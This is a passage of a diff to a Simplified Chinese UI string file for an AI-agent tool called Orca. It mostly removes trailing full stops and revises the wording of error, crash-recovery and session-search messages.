+        "emptyCommitMessage": "{{label}} 返回了空消息",
         "emptyCommitMessageWithDetail": "{{label}} 返回了空消息。CLI 输出：{{detail}}",
-        "emptyPullRequestDetails": "{{label}} 返回了空的详细信息。",
+        "emptyPullRequestDetails": "{{label}} 返回了空的详细信息",
         "emptyPullRequestDetailsWithDetail": "{{label}} 返回了空的详细信息。CLI 输出：{{detail}}",
-        "emptyJiraSummary": "{{label}} 返回了空摘要。",
+        "emptyJiraSummary": "{{label}} 返回了空摘要",
         "emptyJiraSummaryWithDetail": "{{label}} 返回了空摘要。CLI 输出：{{detail}}",
-        "commitMessageUnparseable": "无法解析生成的提交信息。",
-        "pullRequestDetailsUnparseable": "无法解析生成的 PR 详情。",
-        "jiraSummaryEmptyAfterSanitization": "生成的摘要在清理后为空。",
-        "jiraDescriptionRequired": "描述为必填项。",
-        "jiraAccountDisconnected": "请在此主机上重新连接所选的 Jira 账户。",
-        "jiraSummaryBusyInOtherDraft": "另一个草稿中已在生成 Jira 标题。",
-        "stagedChangesReadFailed": "无法读取已暂存的更改。",
-        "noStagedChanges": "没有可供总结的已暂存更改。",
-        "noBranchChanges": "没有可供总结的分支更改。",
-        "commandTemplateEmptyCommitMessage": "提交信息的命令模板为空。",
-        "commandTemplateEmptyPullRequest": "PR 详情的命令模板为空。",
-        "commandTemplateEmptyBranchName": "分支名称的命令模板为空。",
-        "commandTemplateEmptyChatName": "聊天名称的命令模板为空。",
-        "sourceControlAgentUnsupported": "请在设置 -> Git -> 源代码控制 AI 中为此操作选择支持的智能体。支持的智能体：{{agents}}，或选择“自定义命令”。",
-        "chatNameAgentUnsupported": "请在设置 -> 聊天 -> 聊天名称中为此操作选择支持的聊天命名智能体。支持的智能体：{{agents}}，或选择“自定义命令”。",
-        "sourceControlCustomCommandEmpty": "自定义命令为空。请在设置 -> Git -> 源代码控制 AI 中添加。",
-        "chatNameCustomCommandEmpty": "自定义命令为空。请在设置 -> 聊天 -> 聊天名称中添加。",
-        "agentCannotGenerateCommitMessage": "智能体“{{agent}}”不支持源代码控制 AI 提交信息。支持的智能体：{{agents}}，或选择“自定义命令”。",
-        "agentCannotGeneratePullRequest": "智能体“{{agent}}”不支持源代码控制 AI PR 详情。支持的智能体：{{agents}}，或选择“自定义命令”。",
-        "agentCannotGenerateBranchName": "智能体“{{agent}}”不支持源代码控制 AI 分支名称。支持的智能体：{{agents}}，或选择“自定义命令”。",
-        "agentCannotGenerateChatName": "智能体“{{agent}}”不支持聊天名称。支持的智能体：{{agents}}，或选择“自定义命令”。",
-        "noModelForAgent": "{{label}} 没有可用的模型。",
-        "planCustomCommandEmpty": "自定义命令为空。请在设置 → Git → AI 提交信息中添加。",
-        "planAgentUnsupported": "智能体“{{agent}}”不支持 AI 提交信息。",
-        "planModelUnavailable": "模型“{{model}}”不可用于 {{label}}。",
-        "planModelWithoutThinking": "模型“{{model}}”不支持思考强度设置。",
-        "planThinkingLevelInvalid": "思考级别“{{level}}”对 {{model}} 无效。",
-        "openCodeInvalidEvents": "OpenCode 返回了无效的 JSON 事件。",
-        "antigravityInvalidEvents": "Antigravity 返回了无效的 JSON 事件。",
-        "antigravityInvalidResult": "Antigravity 返回了无效的结果。",
-        "antigravityNoFinalResult": "Antigravity 未返回最终结果。",
-        "kimiUnreadableOutput": "Kimi 返回了 Orca 无法读取的输出。请重试。",
-        "kimiSessionOccupied": "Kimi 无法使用此会话，因为它在另一个客户端中处于活动状态。请在该客户端中停止会话或退出该客户端，然后重试。",
-        "kimiInterrupted": "Kimi 在完成文本生成前被中断。请重试。",
-        "kimiFailed": "Kimi 未能完成文本生成。请在执行主机上打开 Kimi，检查失败原因后再重试。",
-        "kimiAgentOptionsConflict": "Kimi 收到了冲突或重复的智能体选项。请在生成预设或 CLI 参数中仅保留一个 --agent 或 --agent-file 选项，然后重试。",
-        "kimiOptionRejected": "Kimi 拒绝了某个选项或参数。请修正生成预设或 CLI 参数，然后重试。",
-        "kimiSessionNotFound": "Kimi 找不到请求的会话。请使用现有会话或启动新会话。",
-        "kimiSessionOtherDirectory": "此 Kimi 会话属于另一个目录。请在该目录中恢复会话，或使用为此工作区创建的会话。",
-        "kimiCredentialVariableMissing": "Kimi 缺少已配置的凭据环境变量。请在执行主机上设置该变量后重试。",
-        "kimiCredentialsRequired": "Kimi 需要提供者凭据。请在执行主机上打开 Kimi，配置提供者或登录，然后重试。",
-        "kimiModelMissing": "Kimi 未配置可用模型。请在执行主机上打开 Kimi，配置或选择模型，然后重试。",
-        "kimiPromptHookBlocked": "Kimi 提示词钩子阻止了请求，或无法启动此轮交互。请在重试前检查 Kimi 钩子和配置。",
-        "kimiCancelled": "Kimi 在完成文本生成前取消了请求。请重试。",
-        "kimiEmptyPrompt": "Kimi 收到了空提示词。请修正生成预设或 CLI 参数中的该项输入，然后重试。",
-        "kimiEmptyModel": "Kimi 收到的模型为空。请修正生成预设或 CLI 参数中的该项输入，然后重试。",
-        "kimiEmptyAgent": "Kimi 收到的智能体为空。请修正生成预设或 CLI 参数中的该项输入，然后重试。",
-        "kimiEmptyAgentFilePath": "Kimi 收到了空的智能体文件路径。请修正生成预设或 CLI 参数中的该项输入，然后重试。",
-        "kimiOutputFormatInvalid": "Kimi 输出格式需要提示词模式及受支持的 text 或 stream-json 值。请在重试前修正生成预设或 CLI 参数。",
-        "kimiSessionIdRequired": "Kimi 在提示词模式下恢复会话需要会话 ID。请修正生成预设或 CLI 参数，然后重试。",
-        "kimiConflictingOptions": "Kimi 收到了冲突的选项：{{option}} 与 {{otherOption}}。请在重试前修正生成预设或 CLI 参数。",
-        "kimiAgentChangeOnResume": "Kimi 无法在恢复会话时更改智能体。请移除智能体覆盖设置，或在生成预设或 CLI 参数中启动新会话。",
-        "kimiResponseBlocked": "Kimi 无法返回响应，因为响应被阻止。请在重试前修改提示词或模型配置。",
-        "kimiAuthFailed": "Kimi 无法通过身份验证。请在执行主机上登录或修正提供者凭据，然后重试。",
-        "kimiConnectionFailed": "Kimi 无法连接到提供者。请检查执行主机上的网络，然后重试。",
-        "kimiProviderLimited": "Kimi 已达到提供者限制，或提供者正忙。请等待后再重试，或降低请求频率。",
-        "kimiContextOverflow": "Kimi 的上下文已用尽。请缩短提示词或启动新会话，然后重试。",
-        "kimiConfigInvalid": "Kimi 的配置无效。请在重试前检查执行主机上的模型和提供者配置。",
-        "kimiContinueSessionConflict": "Kimi 收到了冲突的选项：--continue, --session。请在重试前修正生成预设或 CLI 参数。"
+        "commitMessageUnparseable": "无法解析生成的提交信息",
+        "pullRequestDetailsUnparseable": "无法解析生成的 PR 详情",
+        "jiraSummaryEmptyAfterSanitization": "生成的摘要在清理后为空",
+        "jiraDescriptionRequired": "描述为必填项",
+        "jiraAccountDisconnected": "请在此主机上重新连接所选的 Jira 账户",
+        "jiraSummaryBusyInOtherDraft": "另一个草稿中已在生成 Jira 标题",
+        "stagedChangesReadFailed": "无法读取已暂存的更改",
+        "noStagedChanges": "没有可供总结的已暂存更改",
+        "noBranchChanges": "没有可供总结的分支更改",
+        "commandTemplateEmptyCommitMessage": "提交信息的命令模板为空",
+        "commandTemplateEmptyPullRequest": "PR 详情的命令模板为空",
+        "commandTemplateEmptyBranchName": "分支名称的命令模板为空",
+        "commandTemplateEmptyChatName": "聊天名称的命令模板为空",
+        "sourceControlAgentUnsupported": "请在设置 -> Git -> 源代码控制 AI 中为此操作选择支持的智能体。支持的智能体：{{agents}}，或选择“自定义命令”",
+        "chatNameAgentUnsupported": "请在设置 -> 聊天 -> 聊天名称中为此操作选择支持的聊天命名智能体。支持的智能体：{{agents}}，或选择“自定义命令”",
+        "sourceControlCustomCommandEmpty": "自定义命令为空。请在设置 -> Git -> 源代码控制 AI 中添加",
+        "chatNameCustomCommandEmpty": "自定义命令为空。请在设置 -> 聊天 -> 聊天名称中添加",
+        "agentCannotGenerateCommitMessage": "智能体“{{agent}}”不支持源代码控制 AI 提交信息。支持的智能体：{{agents}}，或选择“自定义命令”",
+        "agentCannotGeneratePullRequest": "智能体“{{agent}}”不支持源代码控制 AI PR 详情。支持的智能体：{{agents}}，或选择“自定义命令”",
+        "agentCannotGenerateBranchName": "智能体“{{agent}}”不支持源代码控制 AI 分支名称。支持的智能体：{{agents}}，或选择“自定义命令”",
+        "agentCannotGenerateChatName": "智能体“{{agent}}”不支持聊天名称。支持的智能体：{{agents}}，或选择“自定义命令”",
+        "noModelForAgent": "{{label}} 没有可用的模型",
+        "planCustomCommandEmpty": "自定义命令为空。请在设置 → Git → AI 提交信息中添加",
+        "planAgentUnsupported": "智能体“{{agent}}”不支持 AI 提交信息",
+        "planModelUnavailable": "模型“{{model}}”不可用于 {{label}}",
+        "planModelWithoutThinking": "模型“{{model}}”不支持思考强度设置",
+        "planThinkingLevelInvalid": "思考级别“{{level}}”对 {{model}} 无效",
+        "openCodeInvalidEvents": "OpenCode 返回了无效的 JSON 事件",
+        "antigravityInvalidEvents": "Antigravity 返回了无效的 JSON 事件",
+        "antigravityInvalidResult": "Antigravity 返回了无效的结果",
+        "antigravityNoFinalResult": "Antigravity 未返回最终结果",
+        "kimiUnreadableOutput": "Kimi 返回了 Orca 无法读取的输出。请重试",
+        "kimiSessionOccupied": "Kimi 无法使用此会话，因为它在另一个客户端中处于活动状态。请在该客户端中停止会话或退出该客户端，然后重试",
+        "kimiInterrupted": "Kimi 在完成文本生成前被中断。请重试",
+        "kimiFailed": "Kimi 未能完成文本生成。请在执行主机上打开 Kimi，检查失败原因后再重试",
+        "kimiAgentOptionsConflict": "Kimi 收到了冲突或重复的智能体选项。请在生成预设或 CLI 参数中仅保留一个 --agent 或 --agent-file 选项，然后重试",
+        "kimiOptionRejected": "Kimi 拒绝了某个选项或参数。请修正生成预设或 CLI 参数，然后重试",
+        "kimiSessionNotFound": "Kimi 找不到请求的会话。请使用现有会话或启动新会话",
+        "kimiSessionOtherDirectory": "此 Kimi 会话属于另一个目录。请在该目录中恢复会话，或使用为此工作区创建的会话",
+        "kimiCredentialVariableMissing": "Kimi 缺少已配置的凭据环境变量。请在执行主机上设置该变量后重试",
+        "kimiCredentialsRequired": "Kimi 需要提供者凭据。请在执行主机上打开 Kimi，配置提供者或登录，然后重试",
+        "kimiModelMissing": "Kimi 未配置可用模型。请在执行主机上打开 Kimi，配置或选择模型，然后重试",
+        "kimiPromptHookBlocked": "Kimi 提示词钩子阻止了请求，或无法启动此轮交互。请在重试前检查 Kimi 钩子和配置",
+        "kimiCancelled": "Kimi 在完成文本生成前取消了请求。请重试",
+        "kimiEmptyPrompt": "Kimi 收到了空提示词。请修正生成预设或 CLI 参数中的该项输入，然后重试",
+        "kimiEmptyModel": "Kimi 收到的模型为空。请修正生成预设或 CLI 参数中的该项输入，然后重试",
+        "kimiEmptyAgent": "Kimi 收到的智能体为空。请修正生成预设或 CLI 参数中的该项输入，然后重试",
+        "kimiEmptyAgentFilePath": "Kimi 收到了空的智能体文件路径。请修正生成预设或 CLI 参数中的该项输入，然后重试",
+        "kimiOutputFormatInvalid": "Kimi 输出格式需要提示词模式及受支持的 text 或 stream-json 值。请在重试前修正生成预设或 CLI 参数",
+        "kimiSessionIdRequired": "Kimi 在提示词模式下恢复会话需要会话 ID。请修正生成预设或 CLI 参数，然后重试",
+        "kimiConflictingOptions": "Kimi 收到了冲突的选项：{{option}} 与 {{otherOption}}。请在重试前修正生成预设或 CLI 参数",
+        "kimiAgentChangeOnResume": "Kimi 无法在恢复会话时更改智能体。请移除智能体覆盖设置，或在生成预设或 CLI 参数中启动新会话",
+        "kimiResponseBlocked": "Kimi 无法返回响应，因为响应被阻止。请在重试前修改提示词或模型配置",
+        "kimiAuthFailed": "Kimi 无法通过身份验证。请在执行主机上登录或修正提供者凭据，然后重试",
+        "kimiConnectionFailed": "Kimi 无法连接到提供者。请检查执行主机上的网络，然后重试",
+        "kimiProviderLimited": "Kimi 已达到提供者限制，或提供者正忙。请等待后再重试，或降低请求频率",
+        "kimiContextOverflow": "Kimi 的上下文已用尽。请缩短提示词或启动新会话，然后重试",
+        "kimiConfigInvalid": "Kimi 的配置无效。请在重试前检查执行主机上的模型和提供者配置",
+        "kimiContinueSessionConflict": "Kimi 收到了冲突的选项：--continue, --session。请在重试前修正生成预设或 CLI 参数"
       },
-      "enableSourceControlAi": "请在设置 -> Git 中启用源代码控制 AI。",
-      "chooseBaseBranch": "请先选择基础分支，再生成。",
-      "savedCommitRecipeRepo": "已为此仓库保存提交消息预设。",
-      "savedCommitRecipeGlobal": "已将提交消息预设保存为全局默认值。",
-      "savedReviewRecipeRepo": "已为此仓库保存托管评审预设。",
-      "savedReviewRecipeGlobal": "已将托管评审预设保存为全局默认值。",
-      "savedBranchRecipeRepo": "已为此仓库保存分支名称预设。",
-      "savedBranchRecipeGlobal": "已将分支名称预设保存为全局默认值。"
+      "enableSourceControlAi": "请在设置 -> Git 中启用源代码控制 AI",
+      "chooseBaseBranch": "请先选择基础分支，再生成",
+      "savedCommitRecipeRepo": "已为此仓库保存提交消息预设",
+      "savedCommitRecipeGlobal": "已将提交消息预设保存为全局默认值",
+      "savedReviewRecipeRepo": "已为此仓库保存托管评审预设",
+      "savedReviewRecipeGlobal": "已将托管评审预设保存为全局默认值",
+      "savedBranchRecipeRepo": "已为此仓库保存分支名称预设",
+      "savedBranchRecipeGlobal": "已将分支名称预设保存为全局默认值"
     },
     "remoteError": {
       "submodule": {
-        "namedRemoteChanged": "子模块“{{name}}”有远程更改。请在子模块内拉取后重试。",
-        "remoteChanged": "某个子模块有远程更改。请在子模块内拉取后重试。",
-        "namedPushFailed": "无法推送子模块“{{name}}”。请解决子模块的推送错误后重试。",
-        "pushFailed": "无法推送某个子模块。请解决子模块的推送错误后重试。"
+        "namedRemoteChanged": "子模块“{{name}}”有远程更改。请在子模块内拉取后重试",
+        "remoteChanged": "某个子模块有远程更改。请在子模块内拉取后重试",
+        "namedPushFailed": "无法推送子模块“{{name}}”。请解决子模块的推送错误后重试",
+        "pushFailed": "无法推送某个子模块。请解决子模块的推送错误后重试"
       },
       "failedWithDetail": {
         "publish": "发布分支失败。{{detail}}",
@@ -21080,16 +21521,16 @@
       },
       "hookBlocked": {
         "lint": {
-          "publish": "发布分支被阻止 — 推送时 lint 失败。",
-          "sync": "同步被阻止 — 推送时 lint 失败。",
-          "forcePush": "强制推送被阻止 — 推送时 lint 失败。",
-          "push": "推送被阻止 — 推送时 lint 失败。"
+          "publish": "发布分支被阻止 — 推送时 lint 失败",
+          "sync": "同步被阻止 — 推送时 lint 失败",
+          "forcePush": "强制推送被阻止 — 推送时 lint 失败",
+          "push": "推送被阻止 — 推送时 lint 失败"
         },
         "prePush": {
-          "publish": "发布分支被阻止 — pre-push 钩子失败。",
-          "sync": "同步被阻止 — pre-push 钩子失败。",
-          "forcePush": "强制推送被阻止 — pre-push 钩子失败。",
-          "push": "推送被阻止 — pre-push 钩子失败。"
+          "publish": "发布分支被阻止 — pre-push 钩子失败",
+          "sync": "同步被阻止 — pre-push 钩子失败",
+          "forcePush": "强制推送被阻止 — pre-push 钩子失败",
+          "push": "推送被阻止 — pre-push 钩子失败"
         },
         "detail": {
           "publish": "发布分支被阻止 — {{detail}}",
@@ -21099,40 +21540,40 @@
         }
       },
       "remoteAccessWithDetail": {
-        "publish": "发布分支失败。{{detail}}。请检查远程访问权限后重试。",
-        "sync": "同步失败。{{detail}}。请检查远程访问权限后重试。",
-        "forcePush": "强制推送失败。{{detail}}。请检查远程访问权限后重试。",
-        "push": "推送失败。{{detail}}。请检查远程访问权限后重试。"
+        "publish": "发布分支失败。{{detail}}。请检查远程访问权限后重试",
+        "sync": "同步失败。{{detail}}。请检查远程访问权限后重试",
+        "forcePush": "强制推送失败。{{detail}}。请检查远程访问权限后重试",
+        "push": "推送失败。{{detail}}。请检查远程访问权限后重试"
       },
-      "publishFailed": "发布分支失败。请检查远程访问权限后重试。",
-      "syncFailed": "同步失败。请检查连接后重试。",
-      "forcePushFailed": "强制推送失败。请检查连接后重试。",
-      "pushFailed": "推送失败。请检查连接后重试。",
+      "publishFailed": "发布分支失败。请检查远程访问权限后重试",
+      "syncFailed": "同步失败。请检查连接后重试",
+      "forcePushFailed": "强制推送失败。请检查连接后重试",
+      "pushFailed": "推送失败。请检查连接后重试",
       "localChangesBlocked": {
-        "rebase": "变基被阻止 — 请先提交本地更改或将其存入 stash。",
-        "fastForward": "快进被阻止 — 请先提交本地更改或将其存入 stash。",
-        "pull": "拉取被阻止 — 请先提交本地更改或将其存入 stash。"
+        "rebase": "变基被阻止 — 请先提交本地更改或将其存入 stash",
+        "fastForward": "快进被阻止 — 请先提交本地更改或将其存入 stash",
+        "pull": "拉取被阻止 — 请先提交本地更改或将其存入 stash"
       },
       "operationFailed": "远程操作失败",
       "unconcludedMerge": {
-        "rebase": "变基被阻止 — 请先解决现有冲突。",
-        "sync": "同步被阻止 — 请先解决现有合并冲突。",
-        "pull": "拉取被阻止 — 请先解决现有合并冲突。"
+        "rebase": "变基被阻止 — 请先解决现有冲突",
+        "sync": "同步被阻止 — 请先解决现有合并冲突",
+        "pull": "拉取被阻止 — 请先解决现有合并冲突"
       },
       "mergeConflicts": {
-        "rebase": "变基因冲突而停止。请在源代码控制中解决冲突，然后继续变基。",
-        "sync": "同步因合并冲突而停止。请在源代码控制中解决冲突，然后提交合并。",
-        "pull": "拉取因合并冲突而停止。请在源代码控制中解决冲突，然后提交合并。"
+        "rebase": "变基因冲突而停止。请在源代码控制中解决冲突，然后继续变基",
+        "sync": "同步因合并冲突而停止。请在源代码控制中解决冲突，然后提交合并",
+        "pull": "拉取因合并冲突而停止。请在源代码控制中解决冲突，然后提交合并"
       },
-      "syncRemoteMoved": "同步失败 — 同步期间远程发生了更改。请重试。",
-      "forcePushRejected": "强制推送被拒绝 — 远程在上次获取后发生了更改。请先获取，再重试。",
-      "pushRejected": "推送被拒绝 — 远程有更改。请先拉取，再重试。",
+      "syncRemoteMoved": "同步失败 — 同步期间远程发生了更改。请重试",
+      "forcePushRejected": "强制推送被拒绝 — 远程在上次获取后发生了更改。请先获取，再重试",
+      "pushRejected": "推送被拒绝 — 远程有更改。请先拉取，再重试",
       "untrackedFilesBlocked": {
-        "rebase": "变基被阻止 — 请先移动、移除或添加未跟踪文件。",
-        "fastForward": "快进被阻止 — 请先移动、移除或添加未跟踪文件。",
-        "pull": "拉取被阻止 — 请先移动、移除或添加未跟踪文件。"
+        "rebase": "变基被阻止 — 请先移动、移除或添加未跟踪文件",
+        "fastForward": "快进被阻止 — 请先移动、移除或添加未跟踪文件",
+        "pull": "拉取被阻止 — 请先移动、移除或添加未跟踪文件"
       },
-      "authenticationFailed": "身份验证失败。请检查远程凭据。"
+      "authenticationFailed": "身份验证失败。请检查远程凭据"
     },
     "submodule": {
       "worktreeOnlyLabel": "在子模块内暂存",
@@ -21169,47 +21610,47 @@
   "rendererRecovery": {
     "reload": "重新加载",
     "copyCommands": "复制命令",
-    "quit": "辞职",
-    "stalledDetail": "Orca 在崩溃后重新加载了窗口，但它从未完成加载。",
-    "crashLoopDetail": "Orca 尝试连续恢复 {{recoveryCount}} 次但没有成功。",
-    "driverFallback": "如果这没有帮助，原因通常是图形驱动程序。",
-    "genericDetail": "这通常是图形驱动程序或安装问题。重新加载以重试，或退出并重新启动 Orca。",
-    "title": "Orca 一直无法加载",
-    "stalledMessage": "崩溃后重新加载时应用程序窗口停止响应。",
-    "crashLoopMessage": "应用程序窗口反复崩溃并自动停止重新加载。",
+    "quit": "退出",
+    "stalledDetail": "Orca 在崩溃后重新加载了窗口，但始终未能完成加载",
+    "crashLoopDetail": "Orca 连续尝试恢复 {{recoveryCount}} 次，但均未成功",
+    "driverFallback": "如果仍无效，通常是显卡驱动导致的",
+    "genericDetail": "这通常是显卡驱动或安装问题，请重新加载再试，或退出并重新启动 Orca",
+    "title": "Orca 持续加载失败",
+    "stalledMessage": "应用窗口在崩溃后的重新加载过程中停止响应",
+    "crashLoopMessage": "应用窗口反复崩溃，已停止自动重新加载",
     "tryAgain": "重试",
-    "launchFailedMessage": "Orca 无法启动绘制其窗口的进程。",
-    "launchFailedDetail": "Orca 重试了 {{recoveryCount}} 次，但未成功。",
-    "processLimitDetail": "由于你的用户帐户已达到进程数上限，系统拒绝创建新进程。这通常由失控的终端、开发服务器或智能体导致。请关闭其中一些，然后点击“重试”。",
-    "launchFailedGenericDetail": "系统拒绝启动它。请释放内存或关闭其他应用，然后点击“重试”。如果问题持续出现，请重新安装 Orca。",
-    "lowCommitMessage": "Windows 内存不足。",
-    "lowCommitDetail": "Windows 只剩下 {{availableMB}} MB 内存供应用程序使用，因此窗口在重新加载后再次耗尽内存。",
-    "lowCommitAdvice": "通过关闭未使用的应用程序或 Orca 工作区来释放内存，或增加 Windows 页面文件大小，然后单击“重新加载”。"
+    "launchFailedMessage": "Orca 无法启动绘制其窗口的进程",
+    "launchFailedDetail": "Orca 重试了 {{recoveryCount}} 次，但未成功",
+    "processLimitDetail": "由于你的用户帐户已达到进程数上限，系统拒绝创建新进程，这通常由失控的终端、开发服务器或代理导致，请关闭其中一些，然后点击“重试”",
+    "launchFailedGenericDetail": "系统拒绝启动它，请释放内存或关闭其他应用，然后点击“重试”，如果问题持续出现，请重新安装 Orca",
+    "lowCommitMessage": "Windows 内存不足",
+    "lowCommitDetail": "Windows 只剩下 {{availableMB}} MB 内存供应用程序使用，因此窗口在重新加载后再次耗尽内存",
+    "lowCommitAdvice": "通过关闭未使用的应用程序或 Orca 工作区来释放内存，或增加 Windows 页面文件大小，然后单击“重新加载”"
   },
   "sessionSearch": {
     "panel": {
-      "noMatches": "索引历史记录中没有匹配的会话。尝试另一个查询或范围。",
+      "noMatches": "已索引的历史记录中没有匹配的会话，请尝试其他查询或范围",
       "loadMore": "加载更多匹配项",
-      "indexedHistory": "索引历史记录",
+      "indexedHistory": "已索引的历史记录 · 最佳匹配",
       "hostsSkipped": "未搜索：{{value0}}",
-      "sortRelevance": "最相关的",
+      "sortRelevance": "最相关",
       "sortNewest": "最新",
-      "sortResultsAriaLabel": "排序结果：{{value0}}",
-      "remoteDisabled": "此计算机上已禁用搜索。在该计算机上启用转录索引以搜索其会话。",
-      "titleOnly": "此计算机上的全文搜索已关闭，因此仅匹配会话标题。",
-      "notReady": "搜索索引尚未准备好。稍后再试。",
-      "noService": "在此计算机上无法进行搜索。它可能需要 Orca 更新或具有搜索支持的运行时。",
-      "failed": "无法搜索这台计算机。检查其连接并重试。",
-      "changed": "搜索时索引发生了变化。再次搜索当前结果。",
-      "truncated": "某些结果或匹配文本受到限制。缩小搜索范围以获得更精确的结果。",
-      "enableFailed": "无法启用搜索。再试一次。",
+      "sortResultsAriaLabel": "结果排序：{{value0}}",
+      "remoteDisabled": "此计算机上的搜索已关闭，请在该计算机上启用会话记录索引，才能搜索其会话",
+      "titleOnly": "此计算机上的全文搜索已关闭，因此仅匹配会话标题",
+      "notReady": "搜索索引尚未就绪，请稍后重试",
+      "noService": "此计算机无法使用搜索，可能需要更新 Orca，或使用支持搜索的运行时",
+      "failed": "无法搜索此计算机，请检查连接后重试",
+      "changed": "搜索期间索引发生了变化，请重新搜索以获取最新结果",
+      "truncated": "部分结果或匹配文本受到限制，请缩小搜索范围以获得更精确的结果",
+      "enableFailed": "无法启用搜索，请重试",
       "enable": "启用",
       "retry": "重试",
-      "scopeUnknown": "此计算机没有此工作区或项目。将范围切换到全部以搜索其上的所有内容。",
-      "sortSessionsAriaLabel": "对会话进行排序：{{value0}}",
+      "scopeUnknown": "这台计算机上没有此工作区或项目，请将范围切换为“全部”，以搜索此计算机上的所有内容",
+      "sortSessionsAriaLabel": "会话排序：{{value0}}",
       "showMoreSessions": "显示更多会话",
-      "loadingMoreSessions": "正在加载更多会话...",
-      "unsupportedAgent": "此计算机不支持所选智能体的历史搜索。更新该计算机上的 Orca 或选择其他智能体。",
+      "loadingMoreSessions": "正在加载更多会话…",
+      "unsupportedAgent": "此计算机不支持所选代理的历史搜索，更新该计算机上的 Orca 或选择其他代理",
       "resultCount_other": "{{count}} 个结果",
       "sessionCount_other": "{{count}} 个会话",
       "sessionsShownOfLoaded_other": "{{shown}} / {{count}} 个会话",
@@ -21226,44 +21667,44 @@
   },
   "sessionHistory": {
     "status": {
-      "checking": "检查…",
-      "error": "无法检查状态。正在重试...",
-      "unavailable": "目前无法在此计算机上进行搜索。",
-      "unreadable": "无法读取 {{failed}} 会话，将重试。",
-      "roots": "无法检查 {{roots}} 会话文件夹。",
-      "searchable": "{{sessions}} 会话 · {{messages}} 消息可搜索",
-      "searchableSessions": "{{sessions}} 会话可搜索",
-      "catchingUp": "{{total}} 会话中的 {{indexed}} · 可搜索 {{messages}} 条消息",
-      "catchingUpSessions": "{{total}} 会话中的 {{indexed}} 可搜索"
+      "checking": "检查中…",
+      "error": "无法检查状态，正在重试…",
+      "unavailable": "此计算机目前无法使用搜索",
+      "unreadable": "无法读取 {{failed}} 个会话，稍后将重试",
+      "roots": "无法检查 {{roots}} 个会话文件夹",
+      "searchable": "{{sessions}} 个会话 · {{messages}} 条消息可搜索",
+      "searchableSessions": "{{sessions}} 个会话可搜索",
+      "catchingUp": "已索引 {{indexed}}/{{total}} 个会话 · {{messages}} 条消息可搜索",
+      "catchingUpSessions": "已索引 {{indexed}}/{{total}} 个会话，可供搜索"
     },
     "settings": {
-      "saveError": "无法保存。再试一次。",
+      "saveError": "无法保存，请重试",
       "advanced": "高级",
       "deleteIndexCopy": "清除搜索数据",
-      "deleteTitle": "清除这台计算机上的搜索数据吗？",
-      "deleteEnabled": "关闭搜索并从此计算机中删除可搜索副本。您的智能体会话不受影响。",
-      "deleteDisabled": "从此计算机中删除可搜索副本。您的智能体会话不受影响。",
+      "deleteTitle": "清除此计算机上的搜索数据？",
+      "deleteEnabled": "关闭搜索并从此计算机移除可搜索副本，不会影响你的代理会话",
+      "deleteDisabled": "从此计算机移除可搜索副本，不会影响你的代理会话",
       "delete": "清除",
-      "cleared": "搜索数据已清除。",
-      "clearError": "无法清除搜索数据。再试一次。",
-      "webUnsupported": "从该计算机上的 Orca 桌面应用程序打开会话搜索。",
-      "title": "智能体会话搜索",
-      "description": "在此计算机和任何配对的 Orca 服务器上搜索您的智能体所说和所做的一切。",
-      "searchDescription": "打开此计算机和配对服务器的会话搜索，或清除搜索数据。",
-      "indexComputers": "在会话内搜索",
+      "cleared": "搜索数据已清除",
+      "clearError": "无法清除搜索数据，请重试",
+      "webUnsupported": "请在该计算机上的 Orca 桌面应用中开启会话搜索",
+      "title": "代理会话搜索",
+      "description": "搜索你的代理在此计算机和任何已配对 Orca 服务器上说过的话和执行过的操作",
+      "searchDescription": "为此计算机和已配对服务器开启会话搜索，或清除搜索数据",
+      "indexComputers": "搜索会话内容",
       "serverVersion": "Orca v{{version}}",
-      "rowSwitchLabel": "搜索 {{host}} 上的会话",
+      "rowSwitchLabel": "在 {{host}} 上搜索会话",
       "serverOffline": "离线",
-      "serverTooOld": "需要更新版本的 Orca。",
+      "serverTooOld": "需要更新版本的 Orca",
       "updateServer": "更新服务器",
-      "serverToggleError": "无法更改 {{host}} 上的会话搜索。再试一次。",
-      "clearedAndTurnedOff": "搜索已关闭，搜索数据已清除。",
-      "thisComputer": "这台电脑",
+      "serverToggleError": "无法更改 {{host}} 上的会话搜索设置，请重试",
+      "clearedAndTurnedOff": "会话搜索已关闭，搜索数据已清除",
+      "thisComputer": "此计算机",
       "remoteServers": "Orca 远程服务器",
-      "showMore": "显示 {{count}} 更多",
-      "showFewer": "显示较少",
+      "showMore": "再显示 {{count}} 个",
+      "showFewer": "收起",
       "openInSidebar": "在侧边栏中打开",
-      "openInSidebarCopy": "输入您记得的内容，或询问智能体：“找到我们修复登录超时的会话。”",
+      "openInSidebarCopy": "输入你记得的内容，或询问代理：“查找我们修复登录超时问题的那个会话”",
       "open": "打开",
       "enableOnAll": "在所有计算机上启用"
     },
@@ -21274,49 +21715,50 @@
   },
   "aiVault": {
     "subagents": {
-      "loading": "正在加载子智能体...",
-      "loadError": "无法加载所有子智能体。",
-      "empty": "未找到子智能体。"
+      "loading": "正在加载子代理…",
+      "loadError": "无法加载所有子代理",
+      "empty": "未找到子代理"
     },
-    "antigravityReferenceDescription": "使用此记录作为参考继续新的Antigravity CLI 对话。",
+    "antigravityReferenceDescription": "使用此记录作为参考继续新的Antigravity CLI 对话",
     "searchHitSourceHost": "在 {{value0}} 上找到",
     "antigravityIdeToCli": "IDE → CLI",
     "antigravity2ToCli": "2.0 → 命令行界面",
     "continueInCli": "在 CLI 中继续",
     "continueInCliNewTab": "在新选项卡中继续使用 CLI",
     "scanIssues": {
-      "issuesOmitted": "已省略其他扫描问题。",
-      "sessionMetadataUnreadable": "本次扫描未能读取会话元数据。",
+      "issuesOmitted": "已省略其他扫描问题",
+      "sessionMetadataUnreadable": "本次扫描未能读取会话元数据",
       "transcriptTooLarge": "有一个 {{label}} 会话过大，无法在会话历史中加载。请尝试直接在 {{label}} 中恢复该会话。",
-      "openCodeScannerUnavailable": "由于无法启动后台扫描器，已跳过 OpenCode 历史记录；应用仍可正常响应。",
+      "openCodeScannerUnavailable": "由于无法启动后台扫描器，已跳过 OpenCode 历史记录；应用仍可正常响应",
       "openCodeScanIncomplete": "OpenCode 历史记录扫描未完成：{{detail}}",
-      "openCodeWslReaderPreparing": "正在准备 WSL SQLite 读取器。设置完成后请刷新 Vault。",
-      "openCodeWslReaderNotPrepared": "WSL SQLite 读取器尚未准备就绪。请刷新 Vault 以重试。",
-      "openCodeDatabaseBusy": "{{label}} 正在写入 {{name}}，因此已跳过其历史记录。下次刷新时会重新读取。",
+      "openCodeWslReaderPreparing": "正在准备 WSL SQLite 读取器。设置完成后请刷新 Vault",
